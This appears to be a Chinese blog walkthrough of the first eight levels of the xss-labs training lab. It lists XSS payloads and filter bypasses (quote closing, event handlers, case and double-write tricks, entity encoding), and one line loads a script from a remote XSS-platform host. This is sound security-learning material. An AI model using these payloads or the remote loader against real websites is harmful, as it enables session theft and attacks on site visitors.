xss-labs

基本信息

<script>alert(1);</script>	//直接嵌入script

<script src=https://xsspt.com/MQzN0Z></script>		//从远程嵌入script

<input name=keyword value="" onmouseover="alert(1)">	//通过事件属性值传入script字符串

<a HREF=javascript:alert(1)>aaa</a>		//超链接


<a HREF=javasc&#114;ipt:alert(1)>aaa</a>	//html实体转义

1,无过滤

把test改为alert(1)把test改为

直接过关。

在这里插入图片描述

2,双引号包裹:闭合双引号>

在这里插入图片描述
用第一关的方法,不行了。右击鼠标看源码

在这里插入图片描述在这里插入图片描述
发现1这个位置的<>被转码了

但是2这个位置没有,所以可以考虑把2当做输出点

先用">闭合value标签,再输出弹窗。

在这里插入图片描述

3,实体转换>,单引号包裹:使用事件,闭合单引号

输入’ ‘’ < >,查看源码,发现两个地方,"<>都被转码了
在这里插入图片描述在这里插入图片描述

4,双引号包裹:闭合双引号

简单尝试"οnclick="alert(1)发现直接弹窗,应该与第三关相似,查看后台源代码
发现是有点区别,但是过滤闭合方法差不多

5,on和ri用_分开,双引号包裹:利用a便签href属性,闭合">

还是尝试"οnclick=“alert(1)发现on被分开了
在这里插入图片描述再尝试发现ri被分开了
在这里插入图片描述但是<>是可以用的,所以这里利用a标签的href属性”>,仍然需要闭合<",点击">跳转

6,re,ri,on用_分开;大小写绕过

用前面几关的方法来试,都不行
百度了是大小写绕过
">

7,对整个字母过滤;双写绕过

随便输入试一下,看到script直接就没了,立马就想到了双写绕过
在这里插入图片描述成功
">alert(1)

8,大小写和双写都过滤;unicode编码

百度的
添加友情链接后,点击友情链接,就会跳到刚刚添加的友情链接的位置
在这里插入图片描述在这里插入图片描述拿试水,script被过滤了。

在这里插入图片描述试试其他的方法。on事件也被过滤了,大小写也不行。看了看攻略,要用到转义字符

查ASCII表得:s是115
所以用java&#115cript:alert(1)试试
成功

未完待续

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值